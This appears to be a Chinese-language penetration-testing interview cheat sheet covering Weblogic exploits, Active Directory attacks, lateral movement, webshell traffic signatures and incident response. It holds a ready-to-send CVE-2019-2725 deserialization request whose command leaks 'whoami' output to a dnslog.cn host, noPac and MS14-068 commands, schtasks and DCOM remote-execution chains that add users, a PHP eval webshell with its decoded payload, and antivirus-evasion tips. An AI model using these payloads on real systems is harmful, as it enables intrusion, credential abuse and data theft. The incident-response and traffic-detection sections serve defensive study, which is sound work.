http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001

Weblogic任意文件读取/上传 | CVE-2019-2615/2618

需要用户名密码认证

Weblogic反序列化远程命令执行CVE-2019-2725

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
POST /_async/AsyncResponseService HTTP/1.1
Host: IP:PORT
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 859
Accept-Encoding: gzip, deflate
SOAPAction:
Accept: */*
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
Connection: keep-alive
content-type: text/xml

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsa="http://www.w3.org/2005/08/addressing"
xmlns:asy="http://www.bea.com/async/AsyncResponseService">
<soapenv:Header>
<wsa:Action>xx</wsa:Action>
<wsa:RelatesTo>xx</wsa:RelatesTo>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>ping `whoami`.74g4hi.dnslog.cn</string>
</void>
</array>
<void method="start"/></void>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body>
<asy:onAsyncDelivery/>
</soapenv:Body></soapenv:Envelope>

Weblogic未授权远程命令执行漏洞CVE-2020-14882,CVE-2020-14883

只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类

  • CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台
  • CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令

Weblogic后台war后门文件部署

打域控的方法

MS14-068 Kerberos域用户提权漏洞

前提:

  1. 域账户
  2. 域账户密码
  3. SID
  4. 域控IP

MS14-068是内网横向PTT攻击的一种

1
MS14-068.exe -u test02@hack.lab -s S-1-5-21-3725850554-4274512539-2478289712-1112 -d 192.168.1.1 -p Test03!@#

域渗透Zerologon/Netlogon CVE-2020-1472

影响MS-NRPC所使用的加密身份验证方案(AES-CFB8)

AES-CFB8的工作原理是,通过在明文前面添加一个16字节的初始化矢量(IV),然后将AES应用于IV和明文的前16个字节,并采用AES输出的第一个字节,来加密明文的每个字节,然后将其与下一个纯文本字节进行异或

对于256个密钥中的1个,对全零的纯文本应用AESCFB8加密将导致全零的密文,从而启用登录绕过,这就是名称zerologon的来源

永恒之蓝

条件:139、445端口开放

nopac CVE-2021-42278/42287

1
2
3
4
5
#检测
./noPac.exe scan -domain test1.local -user kk -pass 123Q

#漏洞利用
./noPac.exe -domain test1.local -user kk -pass "123QWE.." /dc dc.test1.local /mAccount demo123 /mPassword Password123!/service cifs /ptt

pth/ptk/ptt

smb中继

ntlm relay

NTLM hash 分为 NTLMv1 NTLMv2 NTLM session v2 三种,NTLMv2 的强度比 NTLMv1 强了不少 ,我们在实战中,如果获得的是NTLMv1的话直接对其进行爆破就行了,而现实情况中我们遇到的是 NTLMv2,NTLMv2的密码强度高了不少,因此如果你没有一个超级强大的字典,你很难得到明文密码,将截获的Net-NTLM Hash重放来进行攻击,从而实现对其他机器的控制

为了重放这个Net-NTLMhash,首先我们要做的就是获取这个Net-NTLMhash。

由于SMB、HTTP、LDAP、MSSQL等协议都可以携带NTLM认证的三类消息,所以只要是使用SMB、HTTP、LDAP、MSSQL等协议来进行NTLM认证的程序,都可以尝试向攻击者发送Net-NTLMhash从而让攻击者截获用户的Net-NTLMhash,也就是说我们可以通过这些协议来进行攻击

adcs域内提权CVE-2022-26923

域管token横向

令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
令牌(token)可以假冒,当我们需要域管理员操作权限时,就可以通过假冒域管理员的令牌进行攻击:
这里我们主要说访问令牌(Access Token),在windows中Access Token分为两种:授权令牌(Delegation Token)和模拟令牌(Impresonation Token) ;它们之前的区别就在于前者属于交互式会话登陆,而后者属于非交互的会话,两种Token在系统重启后会清除,但前者的Token用户在注销后,会变成后者。

此方法需要administrator管理员权限,当我们如果只是一个webshell或者user组权限时,是需要先进行提权操作。

token窃取方法

  1. incognito.exe:适用于有杀软,不出网,防火墙限制,cs/msf无法上线的情况
  2. msf的incognito模块:适用于meterpreter上线后的机器
  3. cs窃取token:steal_token,cs上线后可用

打域控开放的服务

dcom wmi

委派

非约束委派

spn漏洞

CVE-2022-26809

CVE-2021-1732

编写exp相关经历

windows和linux的应急响应

研判

正在被入侵

若发现攻击者正在进行入侵(web漏洞扫描,弱口令爆破等):一般情况下都会产生日志,尽量采用远程日志系统(rsylog等),远程日志可以防止黑客删除日志;溯源找到攻击者的源IP,并在防火墙等位置做出相应处置(封堵等)

目的未达成

若发现攻击者已成功上传木马、后门等,流量数据正在回传的情况:建立内存备份(快照,dump内存等),方便后续进行取证;进行内存取证/快照分析,定位到相应的木马文件(webshell,shellcode等)和攻击者利用的漏洞点,进行相关处理(删除或修复),防止二次入侵;根据攻击者的流量分析出攻击者的意图(攻击者想要干什么);确定攻击者的ip,在防火墙等位置进行相关处理;选择性重启服务器进入安全模式,对相应后门进行排查和删除

目的已达成

若发现攻击者已经达成目的,删除了相关木马文件和日志:首先定位被入侵的时间点,方便后续针对该时间点进行分析;建立内存备份(快照,dump内存等),方便后续进行取证;定位到被入侵的时间点,查找攻击者的攻击流量并分析,找到相关的木马或后门信息(链接,文件名等)以及利用的漏洞点,确定攻击者的ip;查找系统内对应时间点相关的日志,分析找到相关线索;如果日志被删除,尝试通过硬盘数据备份进行数据恢复

判断误报

首先分析相关数据包的内容是否为攻击流量(后门,webshell等);分析报的ip相关的历史流量,是否有过攻击行为;如果没有则可能是误报,不处理(可以误报,但不能漏报)

挖矿病毒排查

Windows系统

  • 因为挖矿病毒的目的性,决定了挖矿病毒要占用很高的CPU或GPU性能,首先任务管理器结束掉占用高的进程,记录进程名和位置
  • 挖矿病毒需要联网,使用netstat -ano | findstr ESTABLISHED 排查是否存在恶意网络连接
  • 查找有无新增用户net user,查看计划任务是否存在异常
  • 删除相关异常文件,观察是否还存在内存占用高的情况

Linux系统

  • 依然是查找占用内存高的进程top、htop等
  • 查看是否有恶意网络连接或未授权的端口监听netstat -antp
  • 通过进程名pid或关键词查找挖矿病毒,大概率在tmp目录下,可直接清空
  • 排查异常用户
  • 排查每个用户的异常定时脚本,查看定时任务crontab -l,删除定时任务crontab -d,重启定时任务服务servcice crond restart
  • 观察是否还存在内存占用高的情况

溯源方法

对内溯源

若攻击者已经成功入侵,首先确认攻击者的思路,从已经上传的工具入手,分析流量。对攻击流量进行阻断,删除相关恶意工具,查看对应的中间件日志,查看请求行为,分析攻击者思路

对外溯源

确认攻击者的真实信息

一般情况下可以直接拿到的攻击者信息:攻击时间,攻击者ip,受攻击目标,恶意文件(不一定有),通过攻击类型分析攻击详情的请求包,判断是否为真实ip(肉鸡ip)

优先级

  • 端口扫描-个人vps/空间搜索引擎-优先
  • 命令执行-未隐蔽网络/移动网络/肉鸡-优先
  • 恶意文件-是否存在未屏蔽的关键信息-优先

尽可能还原攻击者画像

1
2
3
姓名/IP	攻击IP	地理位置	QQ	微信	邮箱	手机号
支付宝 IP地址所属公司 IP地址关联域名 人物照片
跳板机(可选)

java内存马

web.xml

java网站都一定会有一个web容器。listener、filter、servlet都是在web.xml中配置的

https://www.cnblogs.com/hellojava/archive/2012/12/28/2835730.html

listener

监听器,本质上是一个java类,作用是Application、session、request三大对象的创建或者删除,根据监听结果来执行提前编写的代码;简单来说,就是通过监听某个行为,来触发某段代码执行

filter

筛选器,本质上是一个java类,作用是接收web端的请求并对其进行修改(格式化)和内容判断,变成servlet能够接收的数据格式;如果没有filter,则直接将web端的请求发给servlet;可配置多个filter

filter的生命周期

filter的创建和销毁由web容器负责;web程序启动时创建filter的实例对象,读取web.xml,完成对象的初始化功能

Filter对象创建后会驻留在内存,当web应用移除或服务器停止时才销毁。销毁函数会在Web容器卸载 Filter 对象之前被调用。该方法在Filter的生命周期中仅执行一次。在这个方法中,可以释放过滤器使用的资源。

filterchains

当存在多个filter的时候就组成了filter链,web服务根据在web.xml中的filter注册顺序进行调用;当第一个Filter的doFilter方法被调用时,web服务器会创建一个代表Filter链的FilterChain,然后调用filterchain中其他filter的filter.doFilter方法

servlet

本质上是一个java类;由容器进行调度和执行,进行数据处理的核心模块,里面有一个函数services,这个函数是servlet的核心代码,实现servlet的核心功能;所有的servlet在第一次访问的时候创建,直到服务器关闭的时候才销毁。

免杀有无研究

shellcode分离免杀

硬编码异或免杀

干扰字符免杀

调用冷门函数

加壳,花指令

修改内存特征

域内横向移动的方法

IPC共享

条件:开启了139,445端口,开启了IPC$默认共享,知道目标的账户密码

1
2
#建立IPC连接
net use \\\\ IP \ipc$ "password" /user:"Administrator"

at/schtasks

at命令在2012之前的系统使用,后面的系统使用schtasks代替

条件:开启了139,445端口,获取了其他主机的明文密码或者hash值

at传递

1
2
3
4
5
建立ipc连接:net ``use` `\192.168.213.163ipc$ ``"123.com"` `/user:hsyy.comadministrator
本地制作user.bat文件放在本地c盘执行命令脚本:net user haha 123.com /add
将文件上传到对方主机C 盘:``copy` `user.bat \192.168.213.163c$
给对方主机添加命令执行任务:at \192.168.213.163 12:20 c:user.bat
等待后查看到对方主机添加用户haha

schtasks传递

1
2
3
4
5
创建ipc连接:net ``use` `\192.168.213.163ipc$ ``"123.com"` `/user:hsyy.comadministrator
复制脚本bat文件:``copy` `user.bat \192.168.213.163c$
创建 adduser 任务对应执行文件:schtasks /create /s 192.168.213.163 /ru ``"SYSTEM"` `/tn adduser /sc DAILY /tr c:user.bat /F
执行文件任务:schtasks /run /s 192.168.213.163 /tn adduser /i
删除执行文件任务:schtasks /delect /s 192.168.213.163 /tn adduser /f

pth ptk ptt

常见的有黄金/白银票据,哈希传递,ms14-068等,可利用mimikatz

dcom组件

DCOM(分布式组件对象模型,分布式组件对象模式)是一系列微软的概念和程序接口,利用这个接口,客户端程序对象能够请求来自网络中另一台计算机上的服务器程序对象。DCOM基于组件对象模型(COM),COM提供了一套允许同一台计算机上的客户端和服务器之间进行通信的接口(运行在Windows95或者其后的版本上)。

并不是所有dcom组件都可以执行命令,目前网络上大多使用的是MMC20.APPLICATION来进行横向移动。

1
Get-ChildItem 'registry::HKEY_CLASSES_ROOT\WOW6432Node\CLSID\{49B2791A-B1AE-4C90-9B8E-E860BA07F889}

img

执行远程命令:

1
[System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","10.92.XXX.XX")).Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c hostname calc.exe","7")

img

img

psexec

windows SysinternalsSuite攻击套件中的一员,由于文件拥有微软的签名,所以很多杀软都会放行,但是行为很容易检测。metasploit中也集成了psexec工具模块,其实原理是一样的。

1
使用:PsExec64.exe \\HOST -u USERNAME -p PASSWORD COMMAND

wmi

WMI,是Windows 2K/XP管理系统的核心;对于其他的Win32操作系统,WMI是一个有用的插件。WMI以CIMOM为基础,CIMOM即公共信息模型对象管理器(Common Information Model Object Manager),是一个描述操作系统构成单元的对象数据库,为MMC和脚本程序提供了一个访问操作系统构成单元的公共接口。有了WMI,工具软件和脚本程序访问操作系统的不同部分时不需要使用不同的API。如今大部分WINDOWS版本的机器都内置了WMI组件,所以利用WMI横向移动是一件很方便的事情。

使用: wmic /node:IP /user:USERNAME /password:PASSWORD process list brief

执行命令: wmic /node:IP /user:USERNAME /password:PASSWORD process call create "cmd.exe /c tasklist"

WinRM

Windows 远程管理 (WinRM) 是微软对 WS-Management Protocol(Web Services for Management aka WSMan)的实现,这是一种基于标准简单对象访问协议 (SOAP) 的防火墙友好协议,它允许来自不同硬件和操作系统的供应商,进行互操作。WinRM HTTP 通信通过 TCP 端口 5985 进行,HTTPS (TLS) 通信通过 TCP 端口 5986 进行。WinRM 本身支持 NTLM 和 Kerberos(域)身份验证。初始身份验证后,WinRM 会话受 AES 加密保护。

域内密码喷洒脚本

用多个弱密码连续爆破同一个服务器会触发策略而锁定登录,这时候可以通过写脚本以一组弱密码批量撞多个服务器(故叫做喷洒脚本)

窃取管理员token横向

流量特征 webshell客户端等

中国菜刀

webshell源码

1
<?php eval($_POST["cmd"]);?>

请求侧通信流量

1
2
3
4
5
6
7
8
9
10
11
12
POST /test.php HTTP/1.1
X-Forwarded-For: 1*.***.*.***
Referer: http://1*.***.*.***
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
Host: 1*.***.*.***
Content-Length: 690
Connection: Close
Cache-Control: no-cache
Cookie: PHPSESSID=m4mi07jn4u6cd3gmhdt97fmq55

cmd=%40eval%01%28base64_decode%28%24_POST%5Bz0%5D%29%29%3B&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw%3D%3D

流量解码

1
@eval.(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOzskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfVx0IjtpZihzdWJzdHIoJEQsMCwxKSE9Ii8iKXtmb3JlYWNoKHJhbmdlKCJBIiwiWiIpIGFzICRMKWlmKGlzX2RpcigieyRMfToiKSkkUi49InskTH06Ijt9JFIuPSJcdCI7JHU9KGZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0ZWdpZCcpKT9AcG9zaXhfZ2V0cHd1aWQoQHBvc2l4X2dldGV1aWQoKSk6Jyc7JHVzcj0oJHUpPyR1WyduYW1lJ106QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIoeyR1c3J9KSI7cHJpbnQgJFI7O2VjaG8oInw8LSIpO2RpZSgpOw==
1
@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="\t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();

响应侧通信流量

img

总结

  • 请求侧通信流量存在@eval函数
  • 请求侧流量使用的是base64编码,并且头部有固定QG字段
  • 请求侧默认攻击载荷为z1或者z0
  • 响应侧流量一般包裹在->|xxxx|<-当中

中国蚁剑

webshell源码

1
<?php @eval($_POST["cmd"]);?>  #蚁剑不同的编码器会有不同的代码,这里以普通的分析

编码器在发送数据到服务端之前对payload进行相关处理,目的是为了绕过请求侧的流量检测,默认的有:

  • default编码器:不对传输的payload进行任何操作。
  • base64编码器:对payload进行base64编码。
  • chr编码器:对payload的所有字符都利用利用chr函数进行转换。
  • chr16编码器:对payload的所有字符都利用chr函数转换,与chr编码器不同的是chr16编码器对chr函数传递的参数是十六进制。
  • rot13编码器:对payload中的字母进行rot13转换。
  • 以上五种编码为中国蚁剑自带的,不需要配置就可以直接使用,除此之外,还存在一个RSA编码器,该编码器将
  • RSA编码器:该编码器默认不展示,需要自己配置。配置方法:在编码管理界面点击生成RSA配置生成公钥、私钥和PHP代码,然后点击新建编码器选择PHP RSA之后输入编码器的名字即可。

解码器主要是对接收到的数据进相关处理,目的是为了绕过响应侧的流量检测,默认的解码器:

  • default解码器:不对响应数据进行处理。
  • base64解码器:将收到的数据进行base64解码。
  • rot13解码器:将收到的数据进行rot13转换,由于英文字母一共26个所以置换两次之后会还原。

请求侧通信流量

默认编码器发送的数据如下:

img

base64编码器发送数据如下:

img

chr:

img

chr16:

img

rot13:

img

rsa:

img

响应侧流量

default:

img

base64:

img

rot13:

img

总结

  • 使用对应的编码器编码算法进行解码
  • php使用assert和eval;asp使用eval;jsp使用classloader加载
  • 文件操作的流量,会有_0x开头的参数,与编码器无关

冰蝎2.0

webshell源码

img

分析:

首先对get传入的参数pass进行检查,如果存在则以时间方式生成一个长度16的key存入到session中;再判断是否开启openssl拓展,如果开启了就会进行AES解密得到中继字符串,即assert|eval("phpinfo();"),这是固定定义好的;接着用explode函数拆分中继字符串为字符串数组;再以可变函数的形式,以索引为0的数组元素调用索引为1的数组元素,即assert("eval("phpinfo;")");如果没有开启openssl拓展,则进行异或处理然后base64加密。

流量分析

img

首先发送了两次get请求,第一次请求对应刚刚的16位key并写入session中,与当前会话绑定;第二次请求则获取key,此时的key为解密的key,解密出来的内容还有一层base64编码

是否开启openssl

img

总结

  • 采用AES对称加密
  • 采用密钥协商机制,第一阶段返回200和16位明文连接密码
  • 建立连接之后的所有请求cookie格式都为path=/;
  • php中存在eval和assert等字符特征
  • asp中会在for循环中进行异或处理
  • jsp中存在classloader和getclass().getclassloader()等字符特征

image-20220605203147800

冰蝎3.0

总结

  • 内置默认的十六种ua头(可更改)
  • 交流无明文,采用预共享密钥
  • 默认的webshell存在16位数的连接密码(md5 32位的前16,默认密码明文为rebeyond)
  • 在建立连接后使用命令执行功能时,请求包中content-length为5740或5720
  • 每一个请求头中存在Pragma:no-cache,cache-control:no-cache

image-20220605203138996

哥斯拉

总结

  • base64加密
  • php,asp都有eval;jsp有sc,pass,classloader,getclass().getclassloader()等
  • 响应头部中大部分存在cache-control:no-store,no-cache,must-revalidate
  • cookie值的最后都以”;”结尾
  • 生成的shell因为使用了TCP长连接会生成3个http包:第一个包发送一长段payload,一般是一个变量加上一堆加密过后的值,且http的响应为空;第二个包发送一段与先前的变量名相同,加一串密文,解密之后可以获得methodName=test,目的是为了测试shell的连通情况,并给客户端打印ok,内容固定;第三个包发送类似第二个包,加密的内容从test变成了getBasicsInfo,用于调用之前payload的内容将目标环境信息向客户端返回。

image-20220605203120830

Webshell客户端使用上的区别

  • 蚁剑:有多种编码器/解码器,可进行流量混淆绕过waf,开源可自行编写插件
  • 冰蝎:

sqlmap –os-shell原理

  • 知道网站物理路径
  • 拥有sa权限
  • secure_file_priv无限制
  • 网站路径有写入权限

护网小作文系列(雾

溯源经历

渗透过程

首先在目标站点的首页上发现存在在线客服站点,通过钓鱼下木马拿到了客服个人PC权限,并且该pc处于cloud.local域内,通过对该域的信息搜集发现了VMware Horizon服务器,对其进行了分析,发现其所在的版本8.0处于Log4j2远程代码执行漏洞(CVE-2021-44228)的影响范围中,通过该漏洞写入内存马成功拿到该服务器权限,从该服务器横向移动拿到了域控主机权限,通过域控获取到了域下的vcenter服务器从vcenter后台发现了运维机,经分析发现存在CVE-2021-22005任意文件上传漏洞,通过上传木马拿到了运维机的权限,接着获取到了本地rdp联机密码以及NTLM凭据,由此进一步拿到了另一台FTP服务器,扫描同网段获取到了第二台vcenter服务器地址,同样存在CVE-2021-22005任意文件上传漏洞,上传木马拿到第二台vcenter后台,通过console口上线